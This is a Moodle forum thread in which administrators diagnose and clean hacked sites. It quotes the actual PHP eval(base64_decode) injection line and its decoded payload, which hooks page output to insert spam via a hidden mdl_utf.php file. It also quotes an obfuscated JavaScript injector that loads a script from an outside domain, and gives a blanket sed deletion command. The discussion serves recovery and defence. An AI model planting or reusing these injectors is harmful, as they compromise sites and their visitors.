<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9lbGVjdHJpMS9wdWJsaWNfaHRtbC91cGxvYWRkYXRhLzYvbW9kZGF0YS9hc3NpZ25tZW50LzgxLzQxNS9tZGxfdXRmLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL2VsZWN0cmkxL3B1YmxpY19odG1sL3VwbG9hZGRhdGEvNi9tb2RkYXRhL2Fzc2lnbm1lbnQvODEvNDE1L21kbF91dGYucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

 

This was encountered while troubleshooting an issue where instructors could not edit or update resources. When they tried to update resources they received a blank page.

 

Some posts in the moodle forums indicate that we should update the latest version of PHP.

 

Currently we are running Moodle 1.7.2, PHP 5.1.6 and MySQL 5.0.22. Does anyone know if there are issues with upgrading to the latest version of PHP 5.2.9? Has anyone tried this and did it work? Did you experience any problems? If so what types or problems did you encounter and how were they resolved.

In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site? (update)

by Alan Berman -
Luis, I am so glad to have found this information and am grateful for your in-depth investigation. My site was also hacked with this same problem, but I have 12,000+ files that need to be cleaned (it's not just Moodles, but every single PHP file in my Apache's htdocs folder got the new line of code). I saw the Linux script you wrote, but we are unfortunately running our Moodle on a CygWin environment, and my network admin guy says that we need a Windows version of that script--the directories still being Windows, not Linux. Our school district tech people have no knowledge of any of this, and I'm just the guy who does the Moodling and site design, not the server maintenance. Any idea on how I might get a Windows version of that script? Or how I might be able to get it to work as-is in CygWin? I'm all ears smile
In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Jeff Rader -
Picture of Plugin developers
There is a script out on the internet that shows how to exploit a <= 1.8.4 Moodle.

It tries on a number of different exploits. I tried it on my own site and was able to upload a file to my site without any passwords or anything.

I will be upgrading to the latest Moodle immediately and let everyone know if it is working.

If you have a hacked moodle site, more than likely, it came through this.
In reply to Jeff Rader

Re: How to diagnose a Hacked Moodle Site?

by Jeff Rader -
Picture of Plugin developers
sorry, I guess I messed up my own post. It shows how to hack a 1.8.4 or less website. I was able to hack my own site an upload madshell in about 5 minutes (even with messing up). I will be upgrading promptly, but this isn't a just php issue, its primarily Moodle. There is even an exploit for 1.9.3, but its a lot less vulnerable imo. You have to be using the "TeX filter".

This vulnerability was released in 2008-09. In my case, they used this vulnerability to get into one of 8 vulnerable scripts and upload a file of their liking. In my case, it was madshell. With madshell they then uploaded their subsite including a google confirmation file for quick indexing. I actually had multiple infections that I believe were unrelated to each other. The earliest had been there since the middle of Nov.

Moral of the story, don't ignore the security updates.
In reply to Jeff Rader

Re: How to diagnose a Hacked Moodle Site?

by Mauno Korpelainen -

Well I would not blaim TeX filter - according to those reports the main problem with TeX filter was not file texed.php itself - the exploit needed Register globals to be ON and it is one of those settings of php that all moodle sites and other web sites should have OFF

http://docs.moodle.org/en/Security#Basic_recommendations

If register globals is on all kind of remote file attacks are possible. And moodle is giving that information for all new installs.

I noticed the "TeX exploit" for the first time from this site some weeks ago when I was searching some information about other odd Christmas Spam issues:

http://www.astalavista.com/index.php?section=exploits&cmd=details&id=7563

In reply to Mauno Korpelainen

Re: How to diagnose a Hacked Moodle Site?

by Petr Skoda -
Picture of Core developers Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Peer reviewers Picture of Plugin developers
YES - register_globals MUST be OFF!

I have updated the Installion and Security pages in our wiki docs. Installers now prevent installation if register_globals enabled, there is also admin warning on notification page.

Petr
In reply to Petr Skoda

Re: How to diagnose a Hacked Moodle Site?

by Carl Bogardus -

All of this is very interesting, last year I was using a different LCMS system which got hacked through three different versions, from there they were able to change all the files. I was able to get a trial version of a commercial scanner that looked at the website and reported errors in scripts that made the LCMS vunerable and reported them, barely got a thank you. The commercial scanner is http://www.acunetix.com/ the trial version only checked for script injection, (if I remember correctly), if we had the money, it would be a good purchase.

Anyway, I moved to Moodle 1.9.2, and recently upgraded to 1.9.3, but now I will have to go through all of these posts to check my install as all my files showed a change on Dec 17th.

I know there is some work in Sourceforge developing a protection shell for sites and I found at least one freeware claiming to report changes in a sites files http://www.remoteintegrity.com/ I cannot verify its reliability so use at your own risk.

Arrrgh!

Carl

In reply to Carl Bogardus

Re: How to diagnose a Hacked Moodle Site?

by Elvedin Trnjanin -
This RemoteIntegrity tool looks like a good alternative to Tripwire. Just note that you must keep the hashes of your files on a read only file systems, preferably a CD-R or DVD-R which cannot be erased. If the hashes can be changed, then tools like these are useless.

Or the other good idea which is actually less work than making CD/DVDs every few weeks after upgrading Moodle was putting your web site under version control. Just make sure the repository is somewhere it would be hard to get access to even after compromising your system.
In reply to Elvedin Trnjanin

Re: How to diagnose a Hacked Moodle Site?

by Carl Bogardus -

I will be looking at the RemoteIntegrity tool sometime this week, after checking, my site appears clean.

Carl

In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Jeff Rader -
Picture of Plugin developers
I am experiencing an aftershock of the initial infection. Now my server is getting flooded for requests for the spam pages. Almost all of the requests are coming from a user agent "WordPress/", which is probably infected wordpress sites.

I've contacted a couple of the abuse departments to try to get it to stop, but I'm getting about 10-20 requests for the spam/second. Now that I've adjusted my server its handling them better now, but this is really annoying.

I wonder if anyone else has noticed this and if they know how long the flooding will go on.
In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Angelo Gagliani -

Hi all,

I solved in few minutes:

What happened: Moodle 1.8.3 on Linux Hosting PHP 4

- index page gave error

- cleaned up config.php: had the base64 code and a lot of spam links

All worked fine. After one week course didn't hide, change etc.

I looked into log error file: eroor eval('....) on /lib/editor/tinymce/jscripts/tiny_mce/themes/advanced/docs/en/images/mdl_utf.php

I went to this directory and found this new file mdl_utf.php with inside base64 code and a lot of other files with no extension, but inside HTML and CSS showing a Wordpress spam page. I deleted all these hundred files, including mdl_utf.php. All works fine now.

I deleted all other infected php files (except clean config.php file and moodledata folder) and uploaded 1.9.4 moodle version. All work fine now.

So: clean config.php file, look path in error log file and delete all strange files including mdl_utf.php. Then all work. Later run bash script above or upload fresh file.

Hope it helps.

ciao,

Angelo Gagliani

In reply to Angelo Gagliani

Re: How to diagnose a Hacked Moodle Site?

by Paul Taylor -
I had the same on a Windows server that I had to fix for someone. The site would no longer allow editing to work, but everything seemed fine. The php error log had lots of references to mdl_utf.php. I looked where this was located: /lang/en_utf8/help/enrol/authorise/images. In this folder I had all of the files mentioned in this forum. I removed all of these, but had another scan through the error log. I found a few other infected files including config.php and index.php. The index.php file, about 1/3 of the way down, had about 300 web site links, mostly viagra related. I then checked randomly and every single file had the eval64 injection script. The server had very lax permissions set up so these were tightened. I then deleted all of the moodle files and installed a new version of 1.8 (it was running 1.8.4+). As I was doing this I could see that someone(thing) was trying to access some of these files, but the new permissions were preventing "them". I assume, as mentioned elsewhere here, that the process will end when an open door cn no longer be found. The company contacted me a few days after the initial attack, and was only alterted because editing seemed odd, so perhaps caught it in time.

I checked a few days later and there were no more attempts to access these lang files or any others, so like other people here, hopefully it is fixed. I also installed php 5.2.8.

Paul
In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Helen Foster -
Picture of Core developers Picture of Documentation writers Picture of Moodle HQ Picture of Particularly helpful Moodlers Picture of Plugin developers Picture of Testers Picture of Translators
Wow, this discussion contains tons of information! Thanks for everyone's contributions. approve

It would be great if all the information could be transferred to Moodle Docs. Here is a page which I've just started: Hacked site recovery. Help editing the page would be much appreciated!
In reply to Helen Foster

Re: How to diagnose a Hacked Moodle Site?

by David Vickers -
I've just found out that my site has been infected too, but despite reading the above information, I'm still not sure what to do!

I decoded the Base64 from my config.php file to be...

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/home/vickersd/public_html/lib/editor/tinymce/jscripts/tiny_mce/themes/advanced/docs/en/images/mdl_utf.php')){include_once('/home/vickersd/public_html/lib/editor/tinymce/jscripts/tiny_mce/themes/advanced/docs/en/images/mdl_utf.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($d){$f=ord(substr($d,3,1));$h=10;$e=0;if($f&4){$e=unpack('v',substr($d,10,2));$e=$e[1];$h+=2+$e;}if($f&8){$h=strpos($d,chr(0),$h)+1;}if($f&16){$h=strpos($d,chr(0),$h)+1;}if($f&2){$h+=2;}$u=gzinflate(substr($d,$h));if($u===FALSE){$u=$d;}return $u;}}function dgobh($b){Header('Content-Encoding: none');$c=gzdecode($b);if(preg_match('/\<body/si',$c)){return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);}else{return gml().$c;}}ob_start('dgobh');}}}

I tried to delete that code, but it just came straight back. I'll check out the document you mention above...

David.
In reply to David Vickers

Re: How to diagnose a Hacked Moodle Site?

by David Vickers -
OK, so I have deleted the offending files in the offending directory and started to remove the bad lines of code from PHP files. Then I figured I would upgrade from 1.9.3 to 1.9.4 and ran into UTF-8 issues - it never rains, but it pours...
In reply to David Vickers

Re: How to diagnose a Hacked Moodle Site?

by John Macklin -

Trojan:JS Type Obfuscation Exploits


Lately I have seen a few Moodle issues where the current Stable version of Moodle 1.9.4-1.9.5 became exploited by Java Script Obfuscation code. What this means is that an unsuspecting user can upload an infected web executable php, asp or cgi script via ftp or Front Page. Most likely these types of attacks come from unsuspecting Windows Users that have unknowingly been infected by a common Trojan:JS. The binary code on an infected computer will actually write (inject) a Java Script formatted similar to this one in a web page:

 <script Xlanguage=javascript><!--
(function(){var tDBt='v_61r_20a_3d_22S_63rip_74_45_6eg_69ne_22_2cb_3d_22_56e_72si_6fn_28)+_22_2c_6a_3d_22_22_2c_75_3
dnavigator_2e_75se_72A_67ent(u_2e_69n_64exOf(_22Ch_72_6f_6de_22)_3c0_29_26_26_28u_2ei_6e_64exOf_28_22W_69_6e_22)_3e0
_26_26(u_2eindexO_66(_22NT_206_22)_3c0)_26_26_28eindexOf(_22mi_65k_3d_31_22)_3c0)_26_26_28typeof_28_7arvzts
_21_3d_74_7bz_72vzts_3d_22A_22_3b_65_76_61l(_22_69f(window_2e_22+a+_22)j_3dj_2b_22+_61+_22M_61_6a_6fr_22+b_2ba
+_22_4din_6f_72_22+b+a+_22_42ui_6cd_22_2bb+_22j_3b_22)_3bdocument_2e_77_72i_74e(_22_3cscript_20src_3d_2f_2fmart_22_2b_22uz
2ecn_2f_76i_64_2f_3fid_3d_22+_6a+_22_3e_3c_5c_2fsc_72_69pt_3e_22)_3b_7d';var lSP=tDBt.replace(/_/g,'%'); var UIP0u=unescape(lSP);eval(UIP0u)})();
--></script>

Note:

The above Code encoded by the Java Script escape method has been mangled to make it harmless. With JS::Escape all spaces, punctuation, accented characters, and any other non-ASCII characters are replaced with %xx encoding, where xx is equivalent to the hexadecimal number representing the character.

For example, a space is returned as "%20." Characters with a value greater than 255 are stored using the %uxxxx format. This Java Script Trojan is highly disturbing due to the manner that it occurs and attempts to potentially wreck your computer
to an alarming degree thru JS Code Obfuscation.

So the question that may be asked is how exactly does this all occur?

The answer is extremely basic: when the particular chosen computer from where you upload data thru FTP/fp or CGI is infected, it injects some Java Script to all executable web files (jsp,asp,html,php,etc). Mots of the time the targets are
index pages (index.html, index.php, index.jsp, and index.asp).

Can Java Script Trojans Be Stopped:

Shell scripts for Linux servers can actually remove these annoying injected Java Scripts since they can be detected thru scanning for the Java Script Function "unescape" method which Decodes String objects encoded with the JS:Escape method. You can run a basic shell script that simply evaluates a simple command find ./ -type f -exec sed -i ‘/unescape/d' {} \;. This command serves the purpose of
literally removing all the lines with pattern "unescape". It really depends on many circumstances but Java Trojan's like this one
can be cleaned from infected files.

JS:Trojan Counter Measures:

I would recommend having ftp passwords changed as soon as possible also users of sites make sure they are running current antiviral measures on Windows.I would expect the last one I saw recently actually came via Front Page from a Windows User. This can mean the source of the files were compromised in the beginning via an infected windows host. Most of these that are known of today are usually trying to exploit a browser vulnerability of some kind.

Here is a link to a list of knowns:
http://www.viruslist.com/en/virusesdescribed?chapter=153318100&page=1

Simply the threat is low here since Trojan.JS (Obfuscation Scripts) are a Trojan Horse JavaScript that causes Microsoft Internet Explorer and other browsers to open a new window to a particular Web page usually thru an embedded <IFRAME> that has a non visible style or css class thus hiding the page redirection from the user.

Here is the link to the current script I have that can detected the presence of the "unescape" Java decoding method and some basic IFRAME tag redirections.

Sincerely I hope this helps my friends in the Moodle Community to whom I devote much of my time, effort and resources.

Scanner Links:

http://macklin.homelinux.net/scanners/JsObfusScan.tgz

http://macklin.homelinux.net/scanners/README.txt

In reply to David Vickers

This forum post has been removed

The content of this forum post has been removed and can no longer be accessed.
In reply to Deleted user

Re: Hacked site recovery - prevention

by Helen Foster -
Picture of Core developers Picture of Documentation writers Picture of Moodle HQ Picture of Particularly helpful Moodlers Picture of Plugin developers Picture of Testers Picture of Translators
Sorry to hear your site was hacked, but glad you've managed to recover.

Regarding anything else you can do to prevent it happening in future, you could regularly run the Security overview report (Site Administration > Reports > Security overview). (Source: Hacked site recovery)